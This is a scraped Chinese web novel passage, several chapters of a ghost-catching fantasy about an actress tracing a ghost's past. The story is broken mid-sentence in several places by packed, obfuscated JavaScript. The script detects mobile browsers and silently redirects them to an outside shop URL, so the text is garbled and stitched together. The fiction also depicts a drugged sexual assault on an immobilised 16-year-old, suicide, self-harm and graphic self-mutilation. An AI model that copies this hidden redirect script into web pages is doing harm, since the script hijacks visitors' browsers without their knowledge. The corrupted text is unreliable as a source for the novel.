大概过了一个多小时,金绮月终于缓过劲来。 开车的是金绮月的“男朋友”,周夙。 周夙从后视镜看了金绮月一眼,见她似乎恢复了,松了口气,开口问道:“你好点了么?” “还行。”金绮月淡淡地说。 “左轻白又一次伤你,我帮你杀了她。”周夙眼中闪过一丝狠戾。 金绮月却冷笑一声,不留情面地说:“她是捉鬼师,你是普通人,她的本事比你大得多,你杀得了她?做梦去吧。” 周夙沉默了。 金绮月身体前倾,扒着前座的椅子,从后排探出个头来,盯着正在开车的周夙,幽幽地说:“左轻白你是杀不动,但你可以帮我杀另外一个人,你愿不愿意?” “只要是你让我做的,我都愿意。杀谁?”周夙毫不犹豫地说。 金绮月露出一个邪邪的笑容,道:“杀路回。路回可以帮左轻白提升法力,今晚幸亏他不在,否则我伤得更重。你杀了路回,就等于废了左轻白的一件武器,也算是帮了我一个大忙。” 周夙脸色微变,小声说:“路回……他不行,他是我弟弟。” “同父异母而已。” “那也是从小一直陪我长大的弟弟。别人都可以,但他不行,绮月……” 金绮月冷笑道:“还说什么都愿意为我做呢,让你杀路回你就不愿了?在你心里,弟弟比我重要?” “不是,你最重要。如果你要我的命,我会毫不犹豫地给你。”周夙说。 金绮月露出恶作剧一样的笑容,笑嘻嘻地说:“你的命我要来有什么用?我就要路回的命。” 金绮月看到周夙表情纠结,额头上甚至流下了一滴汗。 金绮月只觉得有趣,她把头伸到周夙脑袋边,突然伸出舌头,一舔周夙额头上的汗。 周夙的脸当场“蹭”的一下变得通红,红到了耳朵根。 “哈哈哈哈!”金绮月爆发出恶作剧成功的笑声。 金绮月把手放到周夙的肩膀上,用哄小狗的语气对他说:“只要你乖乖做我的狗,我就不逼你杀你弟弟。” 金绮月伸出右手,她的右手中指上生出一朵小野花大小的云朵,是朵小疑云。 “这是什么?”周夙问。 “这是我送你弟弟的礼物,跟他开个小玩笑。放心,不会伤害到他。” 金绮月将右手往车窗一伸,把小云朵送出窗外,外边的风一刮,云朵飞走了。 另一边,左轻白拖着重伤的身体回到酒店,她先是回了肖恒的房间,确定肖恒确实没死,只是睡着了,才若无其事地从肖恒房中走出来,回到自己房间。幸好第二天左轻白没有拍摄任务,可以好好休息调养。 次日,肖恒醒了,他身上没受伤,只是情绪很低落,肖恒醒了之后就投入到拍摄中去了。左轻白昨晚被金绮月打了一巴掌,现在全身都在痛,使不上劲,幸好接下来几天都没有她的戏份。 由于需要补充体力,左轻白这两天吃得比猪还多,剧组全员看到她的饭量,没有不瞠目结舌的,演员都要保持身材,他们没见过甚至想都想不到演员还能这么吃。 接下来的拍摄很顺利,一直到剧组杀青,白面鬼都没再出来过。 然而就在杀青宴的前一天,一条爆炸性的新闻霸占了娱乐版块头条,新闻标题叫:好男人肖恒疑似出轨,肖恒左轻白激情一夜。 狗仔在肖恒居住的房间门口放了针孔摄像头,拿到了左轻白进出肖恒房间的录像。录像中,左轻白晚上10:45进入肖恒房间,凌晨2:49才从肖恒房间出来,4个小时的时间,他俩干嘛了,很难不让人想入非非。 这条新闻一出来就爆了。肖恒这两年一直营造好老公人设,而左轻白不久前还在跟嘉烨娱乐传媒有限公司的老板路回闹绯闻,这两人居然搞到一块去了,点燃了所有吃瓜群众的熊熊八卦之心。 记者们要求肖恒做出回应,但肖恒拍完这部电影就变得情绪低落,整天半死不活的,根本不想接受采访,他助理说肖恒抑郁症复发,最近去医院拿药了,请记者们不要打扰他。左轻白那边,左轻白的微博已经沦陷,广大网友们跑到左轻白的微博下面骂左轻白“小三”,诅咒左轻白去死。 左轻白从剧组回来后,就被老板路回叫到总裁办公室去了。 路回的脸色比什么都臭,他坐在办公桌前,一边看文件一边臭脸,他把左轻白叫上来,但又把左轻白晾在一旁,故意冷着左轻白 36. 我与花洒 《当一个女明星会抓鬼[穿书]》全本免费阅读 路回的身体发出小小一声爆炸声,左轻白从路回后背抓出一朵疑云。 跟肖恒的疑云不同,路回这朵疑云很小,只有手掌大小。 路回重重地倒了下去,一头栽在沙发上。 大概过了十分钟,路回才慢慢缓过神来,一脸迷茫地看着左轻白。 左轻白耀武扬威似的把手中的疑云拿给路回看。 “这是什么?”路回问。 “你刚才发癫,都是它搞的鬼。”左轻白说,“又是金绮月干的,这叫疑云,金绮月把它放到你体内,它会越长越大。金绮月那家伙,唯恐天下不乱。” “我刚才……” “放心,我不会笑话你的,你只是被疑云控制了。” 左轻白一如既往的坦坦荡荡。 左轻白念了句咒语,她的指尖燃起火苗,她用火苗把那一小团疑云烧得干干净净。 路回侧过头,有些不好意思地说:“你觉得我只是被疑云控制?” “不然呢?” “你跟肖恒的绯闻,你就没有什么想对我说的?” “哦,是这样的,肖恒体内也被放了一朵疑云,被放了疑云的人在感情中容易疑神疑鬼,那种疑神疑鬼的劲儿又会滋养体内的疑云,疑云越养越大,最后成为金绮月的食物。我那天晚上去找肖恒,没跟他干什么见不得人的事,只是帮他解决了疑云的问题,还顺便跟金绮月干了一架。” 路回问:“肖恒疑谁?疑他老婆?他在社交媒体上表现得跟他老婆感情特别好,没看出来疑神疑鬼啊。” 说到这,左轻白突然一拍手,用夸赞的语气对路回说:“说到这个,我要夸你一句,路回,你真是太聪明了!你居然猜到肖恒的老婆是不存在的。” “真的不存在?” “应该说曾经存在过,已经去世了。” 左轻白把肖恒和祝薇的故事跟路回说了一遍。 路回皱着眉思考了一会,问:“是谁在肖恒家里写下招魂术的口诀,让肖恒乱练的?” “不知道,金绮月说不是她。这人到底是敌是友,还需要查证。” “金绮月说不是她就不是她?鬼爱撒谎,你忘了之前蓝双骗你的事了?” “可她是鬼,招魂术是捉鬼术中的一种,鬼怎么可能知道捉鬼术的口诀。”左轻白说。 “对了,肖恒怎么样了?”路回问。 “他没有生命危险,但是情绪低落,据说是抑郁症复发。” 左轻白说着,忽然凑近路回,亮晶晶的眼睛盯着路回看,路回被她这么看着,忽然呼吸一滞。 左轻白问路回:“我问你一个问题,肖恒跟祝薇分手,真的是金绮月那朵疑云搞的鬼吗?” 路回摇了摇头,说:“从你口述的版本里,我听出来他俩的感情早就破裂了,疑云只是导火索。” 左轻白疑惑道:“金绮月也这么说。但我觉得奇怪,既然已经破裂,为什么肖恒还用这么极端的方式想要找回祝薇,就好像是试图修补一样?我以前看过一本书,忘了叫什么名字,书上说,世界上所有的感情都是复杂的。真的能复杂到这种程度吗?” “应该……能吧。你……谈个恋爱不就知道了吗?”路回试探地问。 路回问的时候,手心都出了汗。 如果这时候左轻白说声“好”,路回可能下一秒就会接一句“我跟你谈呀”,然而左轻白却摇了摇头,说:“我还要抓鬼呢,没时间谈恋爱。” 路回沉默了。 左轻白从沙发上站起来,对路回说:“我先下楼去了,以后你要是觉得自己有什么不对劲的地方,就像今天这样,就来找我,我怕金绮月又在你身上打主意。” 左轻白说完就走了。 路回坐回办公桌前,但他没有办公,而是撑着脑袋想了许久,最后,路回无奈地笑了一声,自言自语道:“事业心真重啊……” 左轻白和肖恒的绯闻愈演愈烈,虽然公司想了不少办法干预,但依然堵不住悠悠众口,现在只要打开娱乐板块,就能看到一堆网友在骂左轻白和肖恒“一对狗男女”。骂左轻白的人比骂肖恒的人多多了,人们对女人的道德要求比对男人高得多。 直到一条爆炸性的新闻出现,人们才不再讨论左轻白和肖恒的绯闻。这条爆炸性新闻是:一代影帝肖恒自杀去世。 肖恒抑郁症加重,在自己家的浴室里自杀,助理发现后虽然第一时间把肖恒送到医院,但已经来不及了。肖恒到医院时,已经没了生命体征。 肖恒自杀前留下一封信,他在信中讲述了自己与祝薇的故事,满满都是对祝薇的愧疚,他坦白自己这两年一直在伪装已婚,还澄清了跟左轻白的绯闻。 谁也没有想到绯闻竟是以这种方式结束的,没有人再骂左轻白了。 肖恒、樊音、乔韵外加一个左轻白合作的电影《千妖百鬼录》,因为是肖恒影帝的遗作而受到广大影迷的关注,热度、讨论度、票房都远远超过同期其他电影,在某些城市甚至火到了一票难求的程度。 这部电影的四个主要角色中,肖恒去世,樊音、乔韵早就有多个奖项傍身,不需要通过这部电影来提咖,所以这部电影大火最大的受益人其实是左轻白,左轻白从籍籍无名一下变成家喻户晓。 在左轻白靠《千妖百鬼录》升咖的同时,另一边,金绮月的成长线也按照原著中写的那样展开,金绮月在影视行业混得风生水起,还收获了兰花奖“最受欢迎女演员”奖项。 左轻白和金绮月作为新生代小花中最突出的两人,没少被人们拿来比较,两人有了粉丝群,粉丝之间经常撕逼:左轻白的粉丝吹左轻白是名副其实的刀马旦,动作戏一绝,金绮月的粉丝就嘲左轻白气质太土;金绮月的粉丝吹金绮月一张精致的娃娃脸绝无仅有,左轻白的粉丝就嘲那是白幼瘦,低级审美…… 虽然左轻白和金绮月这两人总是被一起提及,但两人从未合作过,而且像有意避开的一样,连出席活动的同框图都没有。 左轻白像个工作狂,辗转各大片场,她一直在找那把可以杀死金绮月的弥月刃,金绮月以害人为乐,左轻白不想再看到薛宅火灾的悲剧;金绮月则跟原著《登顶娱乐圈女王》里写的一样,事业顺风顺水,星途璀璨,天生大女主待遇。 两人刻意避开,就是不合作。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12841046|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家人,我家也不在这里。” 白栀听了又是唉声叹气。 “再过几天,天女城的舒家就要来了。”白栀把她听到的消息告诉金绮月。 此时旁观的左轻白非常明显地从金绮月脸上看到一闪而过的狠戾。 金绮月咬牙切齿道:“那群人贩子,我迟早要将他们千刀万剐!” 白栀皱眉道:“绮月,你总说你是被舒家拐来卖给赵家的,说舒家是人贩子,这怎么可能嘛?天女城舒家在我们这儿德高望重,他们捉鬼救人、斩妖除魔,做了很多好事,是真正的活神仙,怎么可能是人贩子呢?还有赵家,赵家在我们采莲邬也是名门大户,最重要的是他家人丁兴旺,不缺孩子,有什么必要还去买孩子?这里面一定有什么误会。” 天女城离采莲邬不远,那是舒家的地盘。天女城舒家跟采莲邬赵家的关系要追溯到上一辈,上一辈的时候舒家帮赵家抓过鬼,救过赵家一大家子的命,赵家十分感激,他们给了舒家一枚玉佩,告诉舒家日后但凡有用得上他们的地方,就拿着这枚玉佩来采莲邬,赵家一定赴汤蹈火,万死不辞。 舒家倒是没让赵家赴汤蹈火,只是让他们养孩子。四年前舒家的两兄妹带着玉佩和一个昏睡的小女孩来到赵家,让赵家好好照顾小女孩,特别强调要教女孩读书,教她做人的道理,舒家每隔一段时间都会派人来看看。 这女孩就是金绮月。由于舒家认为金绮月年龄还太小,接受不了她原来呆的村子全员是鬼且那个村子的鬼都已经被杀光了的残酷事实,所以一直对金绮月隐瞒真相。金绮月想问原来村子的事情,却什么也问不出来,加之她是昏睡着被带到这里来的,因此在金绮月的认知里,她是被拐来的。 38. 偏不顺你们的意 给金绮月送完烧饼,白栀撑着船回去了。 白栀是这一带一个普通的采莲女,撑船的时候遇到被关进小黑屋挨饿的金绮月,白栀心善,经常偷偷从窗户送烧饼给金绮月吃,一来二去,她就跟金绮月熟了。 一位在船上卖货的商贩把船停在河道边休息,见白栀撑船过来了,叫住白栀,说:“阿栀啊,又给赵家养的那恶女送吃的去啦?” 恶女?船上的左轻白看向商贩,心想金绮月的名声现在就已经这么不好了吗? 白栀心地善良,她反驳道:“钟叔,绮月不是恶女,她对我很有礼貌。” 商贩说:“你给她送吃的,她当然待你礼貌、哄你高兴,你别被她的伪装给骗咯。采莲坞谁不知道,四年前舒家带了个祖宗来给赵家养。” “赵家若真当她是祖宗,怎会总饿着她?” “你也不看看她是因为什么挨饿。引诱赵家最小的两个公子为她决斗,一个断了腿,落下残疾;另一个掉下水溺死,连命都没咯!两个小公子才16岁,天杀的!饿她几天而已,惩罚太轻了!如果不是因为金绮月是舒家托付的人,舒家对赵家有恩,赵家怎么可能还留着金绮月的性命?” “只知道是两位公子私自斗殴,谁说一定是绮月引诱?” “除了她还有谁?那个恶女在赵家庄干的坏事还少吗?老太太过寿,她在寿宴的包子里放绣花针,老太太一吃,一嘴血;她还扮鬼吓干粗活的长工,差点把人活生生吓死。” “她对赵家有误会,一直以为自己是被拐来的,所以对赵家有敌意,赵家也不知道好好引导,每次不是打骂,就是饿肚子,以为用惩罚的方式能让她低头,没想到越来越糟。赵家就没有责任吗?”白栀为金绮月说话。 商贩叹气道:“我看你就是被金绮月迷了心窍,她最擅长迷惑人。反正两位小少爷出事后,赵老太太亲自去天女城求舒家,说赵家实在没本事管教金绮月,求舒家带走金绮月,过两天舒家的人就要来了,接金绮月去天女城。” 白栀好奇道:“我听说舒家有祖训,天女城除舒家人外别人不得入内,就是因为这条祖训,四年前金绮月才被寄养在赵家。” “这是舒家第一次违背祖训,舒家对金绮月够好的了。” 一旁的左轻白听了,在心里想:听了他们的话,原来舒家对金绮月一直很好嘛,把她从鬼村救出来,挑了个大户人家寄养她,宁愿违背祖训也要将她接回天女城,怎么后来会发展成那个样子? 几天后,舒家派来的人来到了赵家,赵老太太亲自在大厅迎接。 舒家派来的人有三个,分别是当年屠杀鬼村的舒首安和舒茉安兄妹,两兄妹今年28,已经成长为年轻一辈舒家子弟中的领袖级人物;另一个叫舒瑾安,才18岁,这是他第一次出天女城,长得一副白白净净的模样,面容似玉,一身正气。 赵老太太向舒家三人控诉金绮月的恶行,金绮月倒也不反驳,只是一脸委屈地躲在舒家人身后,看上去可怜兮兮的,这是她四年来第一次这么乖。 舒家三人一边看着赵老太太在那满腹怒火地呵斥、指责金绮月,一边看着金绮月又乖又害怕地躲在人后,委屈得快哭了,这样对比起来,倒不像金绮月是个恶女,而像是赵老太太冤枉人一样。 三人不免猜测金绮月是不是在赵家受到了虐待。 三人领走了金绮月。 金绮月擅长演戏,不久前她还咬牙切齿地跟白栀说要将舒家这群“人贩子”千刀万剐,但真到了舒家人面前,她倒懂得审时度势,装得很乖巧。 在回天女城的路上,金绮月用一张甜嘴把舒家三人哄得迷迷糊糊。 “我没有引诱赵家的两个儿子决斗,事实是那俩人才是禽兽!他们差点欺负了我,但最后谁先谁后他们争执不下,打了起来,我才逃过一劫。” “赵老太太带头叫下人欺负我,不给我饭吃,我……我实在气不过,才在包子里放针的,要不是被欺负狠了,我不会这么做。” “那个长工是他自己摔了一跤,他年纪大了,经不得摔,差点一命呜呼,跟我没关系,是宅子里的下人造谣,传成是我扮鬼吓他。” …… 金绮月把她恶女的传言都解释了一遍,她长得精致可爱,年纪又小,而且很会装出一副可怜兮兮的模样让人心疼,一来二去,舒家三人都信了她的话。 只有作为旁观者的左轻白能看到,在舒家三人看不到的地方,金绮月会露出恶劣的笑,像在嘲讽那三人是傻子。 “她在撒谎,别被她骗了!”左轻白着急地跺脚。 金绮月尤其喜欢黏着舒瑾安,一脸天真地抓着他的手,甜甜地叫他“小哥哥”。舒瑾安18岁,涉世未深,被金绮月“小哥哥”长“小哥哥”短地叫着,不由脸红起来。 舒瑾安气质清冷,一身正气,他脸红的样子就像禁欲系男生被撩拨,十分可爱。 金绮月长着一副讨人喜欢的萝莉脸,只要她把自己的恶藏起来,没人会不喜欢她。 天色渐晚,金绮月忽然开始装病,舒家三人不得不停止赶路,找了家客栈住下,打算在客栈住一夜。 金绮月是故意的,她想趁着在客栈住宿的时机逃跑,她要去找她真正的家,找她的村长爷爷。 金绮月一会说头疼,一会说肚子疼,舒首安和舒茉安忙活了好一阵,才把金绮月哄睡。 左轻白一直在旁观,她见舒首安和舒茉安对金绮月照顾得无微不至,心想对金绮月好的人真不少,金绮月后来竟把他们全杀了。 事实上金绮月并没有睡着,她在装睡,她演技是真的好,躺在床上一副睡死了的模样。 见金绮月睡熟了,舒首安和舒茉安才松了一口气。 “大概是赶路太急了,她一个小女孩身体受不住。”舒首安小声说。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12866384|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “明天咱们走慢点。”舒茉安也小声道。 “跟她接触下来,我觉得这孩子很乖巧,完全不像赵老太太说的那样顽劣,我看,分明是赵家苛待她。” “我觉得也是。” “她已经是个懂事的孩子了,能够分清善恶是非,我想是时候把当年鬼村的事情告诉她了。” “再等等吧,告诉她当年养育了她的村民全是鬼,那些鬼已经被我们杀了,这样的事实对她来说太沉重,我还不知道该怎么开口。” 旁观的左轻白紧张地盯着在床上装睡的金绮月,心想:完了完了,金绮月听见了。 当天晚上,金绮月放弃了原计划,她没有从客栈逃跑,而是乖乖跟着舒家三人回到了天女城。 左轻白虽然猜不透金绮月的想法,但她知道从这一刻开始,金绮月开始憋着坏水。 舒家敞开门,将一个恶鬼迎了进去。 舒瑾安好像喜欢上了金绮月。金绮月总是甜甜地叫舒瑾安“小哥哥”,缠着他帮自己捉蝴蝶,每捉到一只蝴蝶,金绮月就会用亮晶晶的眼睛看他,崇拜道:“小哥哥真厉害。” 金绮月还会缠着舒瑾安陪他玩瞎子摸人,草地上,金绮月蒙住眼,去抓舒瑾安,金绮月老是抓不到舒瑾安,她便假装摔倒,舒瑾安吓得冲过来扶住她,金绮月趁机一把抱住舒瑾安的细腰,笑嘻嘻地说:“我抓到小哥哥啦!” 舒瑾安正直清冷的脸害羞得红了起来。 旁观的左轻白无奈地扶着额头。 左轻白自言自语道:“难怪男的爱绿茶,这样的绿茶,换我我也沦陷。” 大概过了半年,金绮月把舒瑾安迷得七晕八绕,半哄半骗地从舒瑾安手里拿到了藏书阁的钥匙。 天女城藏书阁共有十层,其中七层在地上,收藏捉鬼术秘籍;三层在地下,收藏鬼术秘籍。之所以收藏鬼术秘籍,是为了帮捉鬼师了解鬼的手段,好做到知己知彼百战不殆。地下三层的鬼术秘籍,舒家弟子只能翻阅,禁止修炼。 金绮月直奔地下三层而去。 金绮月想找复活鬼的秘法,可她用了半年的时间,仔仔细细地读遍地下三层所有书籍,最后才发现,世界上没有这种秘法。 金绮月愤怒地把书架推倒,书架上的书散落一地。 金绮月蹲在地上哭,边哭边自言自语: “自以为是地把我从村子里带出来,把我扔到一个人生地不熟的地方,让我过寄人篱下的日子。口口声声说是为我好,但你们问过我了吗?” “杀了我的亲人,却说是在救我,还以我的恩人自居,我呸!” “你们想让我当人,我偏不顺你们的意,我偏要当鬼。” …… 这一年,金绮月16岁。 金绮月掏出一把匕首,毫不犹豫地刺向自己咽喉。 书里说,想要成鬼,就要先杀自己的人身。 39. 你愿不愿意 旁观的左轻白并不紧张,因为她知道金绮月不会在这时候死。 左轻白很清楚,如果金绮月是以这样的方式死掉的,她只会变成一个普通的鬼,就像蓝双那样;但金绮月变成的却是数百年难得一见的神通鬼,这说明,她死的时候还有其他机遇。 果然,就在匕首尖尖戳破金绮月皮肤的那一秒,一个人影飞奔而来,打掉金绮月手里的匕首。 来人是舒瑾安。 匕首“庞当”一声掉在地上,金绮月没事,只是脖子蹭破了一点皮。 舒瑾安焦急道:“绮月,你别干傻事。” 金绮月狠狠地瞪了舒瑾安一眼,这一眼瞪出了要杀人的架势。 金绮月执拗地去捡那把匕首,舒瑾安去拦她。金绮月对舒瑾安拳打脚踢,舒瑾安并非打不过金绮月,但不想伤她,只好左躲右躲。无奈,舒瑾安画了一张定身符,把金绮月定住,金绮月动弹不得。 就在这时,楼上传来嘈杂的声音,有人说:“好像有人擅闯藏书阁,把她找出来!” 如果被人发现金绮月擅闯藏书阁,金绮月肯定会被罚,严重的话还会被赶出天女城。 舒瑾安红着脸,对金绮月说了一声:“得罪了。”说完他抱起动弹不得的金绮月迅速离开。 藏书阁负三层有一个密道通往后山,密道门只有舒家长老手中的五行符才能打开,舒瑾安竟然从怀里掏出了五行符,打开了门,抱着金绮月走进去。 左轻白眼睁睁看着两人进入密道,随后密道门关上,就在门关上那一刻,左轻白周围的环境变了,她从藏书阁一下瞬移到了舒家长老议事用的议会厅。 作者写文的时候经常会切换场景,左轻白看到这一幕,就知道作者这是换了个场景来写。 “喂,下次切换场景不要这么生硬好不好?”左轻白叉着腰,吐槽道。 几个老头围坐一圈,他们都是舒家长老。 第一位长老问:“明明知道擅闯藏书阁的是金绮月,为什么不早将她拿下?非要等瑾安把她救走?” 第二位长老说:“还故意让瑾安偷走五行符。” 原来是舒家长老故意放舒瑾安进去救金绮月的,也是长老故意让舒瑾安偷走五行符。 第三位长老说:“此女不老实,我查过被她翻阅的书籍,她是想复活鬼村里的鬼!” 左轻白心想,姜还是老的辣,原来长老们早就知道金绮月不老实。 “要不是碍于她的身份,我早就将她赶出天女城了,她是百年难遇的助道者,没有捉鬼师不想拥有一个助道者。金绮月必须留在天女城。” 左轻白眼睛瞪得比铜铃还大。 原来金绮月在变成鬼之前,和路回一样是助道者体质。助道者的体.液能帮捉鬼师提高修为,所有的捉鬼师都想拥有一个助道者。跟神通鬼一样,助道者极其少见。 长老们继续讨论金绮月。 “金绮月这丫头不老实,你觉得她会安安分分留在天女城?” “她不安分,那就想办法让她安分,反正天女城必须拥有一个助道者。” “你想了什么法子让她安分?” “瑾安带她进密道了,密道通向后山山洞,如果不出意外的话,瑾安和她会在山洞里呆一宿。金绮月毕竟是个女子,如果让她变成舒家的人,她不就安分了?” “什么意思?” “后山山洞里,放了迷情香。” “你是想让瑾安……” “我们瑾安样貌、品行、才学,样样顶尖,明明是金绮月占便宜。” “你要真想……你好好说门亲事不行?” “好好说?自欺欺人。你又不是不知道那丫头什么性格,她心野,不服管,一心只想逃出去,她现在还留在这里是为了找复活鬼的方法,当她知道找不到后,她肯定会走的,最好的方法,是将生米煮成熟饭。” “她一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12872600|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个孤女,瑾安条件这么好,我们是为她找到了最好的归宿。” 旁观的左轻白瞠目结舌,气得跳脚。 “你们有病吧……”左轻白边跳脚边说,“太自以为是了,真的就是乱搞!” 左轻白焦躁得走来走去,她想起金绮月在藏书阁里的控诉,当时金绮月是这么说的: “自以为是地把我从村子里带出来,把我扔到一个人生地不熟的地方,让我过寄人篱下的日子。口口声声说是为我好,但你们问过我了吗?” “杀了我的亲人,却说是在救我,还以我的恩人自居,我呸!” …… 左轻白算是看懂了,从鬼村覆灭开始,金绮月的意愿就从未被人尊重过。 舒首安舒茉安屠杀鬼村,把她从村子带了出来,这时候没有人尊重过她的意愿,问她想不想离开被她视为家的村子。鬼是该死,但或许金绮月宁愿跟着鬼村民一起死呢? 舒家把她寄养在赵家,这时候也没有人尊重过她的意愿,问她喜不喜欢赵家。金绮月根本不喜欢赵家。 舒家长老看中她助道者的体质,想把她和舒瑾安配对,让她永远留在天女城,这时候依然没有人尊重过她的意愿,问她愿不愿意。舒瑾安固然很好,但终身大事,金绮月就被用这种方式安排了? 所有人都说为她好,但没有人愿意问她一句:“你愿不愿意?” 所有人都说把她从鬼村带出来是为了让她当人,但她好像也没被当人啊,她更像被当成了一个布娃娃,想怎么安排就怎么安排,想怎么操控就怎么操控。 突然,左轻白身边的场景又一转换,这回左轻白从议会厅来到了后山山洞。 舒瑾安找了个舒服的地方把金绮月放下,他走到洞口观察,发现天女城内点起了许多火把。 “他们在搜人。绮月,我们等到后半夜再走。”舒瑾安说。 此时的舒瑾安根本不知道长老们的安排。 40. 又要回书里去了 金绮月被定身符定住,无法动弹。 “你让我死吧。”金绮月生无可恋地说。 “遇到不开心的事,不是只有死一个选择。”舒瑾安试图劝道。 然而金绮月仿佛没有听到他在说什么。 金绮月自顾自地说:“我在我们村生活得好好的,那里是我的家,突然有一天来了两个人,杀了我的家人,把我从我家带走,还自以为是地认为是在解救我,谁考虑过我的感受?” “我到了赵家,过着寄人篱下的日子,我不开心,但有谁在乎过我开不开心?他们都说我是恶女,既然他们这么说,那我就这么做咯。” “来了天女城,我能感受到那些长老对我的态度很奇怪,一方面他们防着我,防着我我理解,他们担心我知道真相后为村子报仇;但另一方面,他们又很想控制我,控制我不离开天女城,这样的态度让我很困惑。” 金绮月来自鬼村,却是助道者体质,舒家长老一方面防备金绮月,另一方面又想方设法地把金绮月留在天女城,所以对金绮月的态度才这么矛盾,金绮月不知道其中原因。 这一边,金绮月絮絮叨叨自言自语,另一边,洞里放置的迷情香对舒瑾安起了作用,这迷情香是针对男子的,所以金绮月不受影响,而舒瑾安已经两颊发烫,心似火烧。 金绮月还在继续说:“我在我们村过得好好的,自从离开了村子,来到人的世界,我就从未被人当成过自己人对待,我始终游走在人群边缘,他们防备我,我也融不进他们。” 舒瑾安听得阵阵心疼,迷情香把这种心疼放大再放大,到最后心疼变了味,变成缠绵的情.欲。 舒瑾安脑袋迷迷糊糊,他脱口而出道:“我不防备你,我会对你好。” 舒瑾安慢慢地、慢慢地靠近了金绮月。 舒瑾安不知道这山洞里放了什么东西,他只知道自己现在很难受,他很想亲一亲金绮月。 舒瑾安向自己的欲望投了降,吻上了金绮月的嘴唇。这一吻,火便烧了起来,再也停不下。 舒瑾安抱住了金绮月。他的目光似狼,把金绮月吓坏了。 金绮月没有经历过这种事情,她很害怕,十分惊恐地瞪大眼睛,可她被定身符定住,动弹不得,根本无计可施。 这天晚上这件事,从舒瑾安的角度说,他不知道山洞里有迷情香,他以为是自己糊涂了,居然犯下如此滔天大罪,舒瑾安一向正直,无法原谅自己;从金绮月的角度说,金绮月不知道舒瑾安中了迷情香,整个天女城,金绮月对舒瑾安还算比较信任,她相信舒瑾安的人品,可没想到连舒瑾安都如此龌龊,还趁人之危,于是金绮月更加印证了自己的想法——人比鬼坏。 山洞里还有一个人,那就是旁观的左轻白。 左轻白看到舒瑾安吻到金绮月的脖子时,激动地咬住了自己的拳头,心想:我靠付费节目要到了么? 就在这时,突然眼前毫无征兆地一黑,像是盖上了一块黑幕。 黑幕上赫然写着几个大字:脖子以下不能写,此处拉灯。 左轻白满脸黑线。 左轻白唉声叹气道:“我说网站啊,我早就成年了,有什么不能看的哎!” 左轻白就在乌漆麻黑中等了一晚上,连点声都没让听到。 第二天早上,天微微亮。 左轻白再次看到金绮月和舒瑾安时,两人已经穿好了衣服,舒瑾安收了金绮月的定身符,直挺挺地跪在金绮月面前。 舒瑾安满脸懊恼,他对金绮月说:“我犯下大错,绮月,我任凭你处置。” 金绮月冷笑,阴阳怪气道:“你觉得,这件事,应该怎么收场?” 舒瑾安有些害羞,道:“我……我可以娶你为妻。” 金绮月脸一黑,“你说娶便娶?如果我不愿呢?如果我要你死呢?” “那我便以死谢罪。” “你真的愿意死?” “犯错的是我,我该死。” 金绮月冷酷地拔出匕首,一步一步走向舒瑾安,问:“想要什么死法,想好了么?” “悉听尊便。”舒瑾安倒也有种。 金绮月蹲在了舒瑾安面前,目光移到舒瑾安胸前。 金绮月用匕首挑开了舒瑾安的衣服,舒瑾安的右胸裸.露了出来。 舒瑾安的脸“唰”的一下红了,连耳尖都红了。舒瑾安害羞得不敢看金绮月。 金绮月却丝毫没有旖旎的心思,她冷冷地问:“我以前听你说,你的心脏与常人不同,是长在右边的,是不是?” “是。” 金绮月的食指抚上舒瑾安的右胸,舒瑾安的脸更红了,红得仿佛能滴血。 金绮月轻飘飘地问:“我昨天晚上看到,你右胸心脏的位置有十二颗红痣,那是什么?” “是胎记。” “又是长在右边,又是有十二颗红痣,你的心脏一定很特殊吧?不如……你挖出来给我看看。”金绮月邪邪地笑道,并把匕首递给舒瑾安。 舒瑾安注视着金绮月,一字一句地问:“我把我的心挖出来,你就能原谅我吗?” “当然能了。” 舒瑾安毫不犹豫地接过金绮月手中的匕首,干脆利落地刺向自己的心口,活生生把自己的心脏挖了出来。 舒瑾安从小接受正人君子教育,他犯罪,对方要他死,以他的性格,他是真的会自杀。 金绮月冷漠地看着舒瑾安,没人能猜透她的情绪。 旁观的左轻白捂着眼说:“网站啊,你侬我侬的画面你屏蔽,挖心这种血腥的场面你怎么就不屏蔽一下呢?” 金绮月手里拿着舒瑾安的心脏,双手血淋淋。 此时左轻白惊讶地看到,舒瑾安的心脏有十二窍! 左轻白和金绮月几乎同时出声:“十二窍玲珑心!” 《凡尘鉴鬼术》第十二卷第十二章言:十二窍玲珑心,食之后化鬼,可成神通鬼。 意思是吃过十二窍玲珑心的人如果变成鬼,变成的会是神通鬼。左轻白知道,因为她是捉鬼师;金绮月也知道,因为她在藏书阁看了整 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 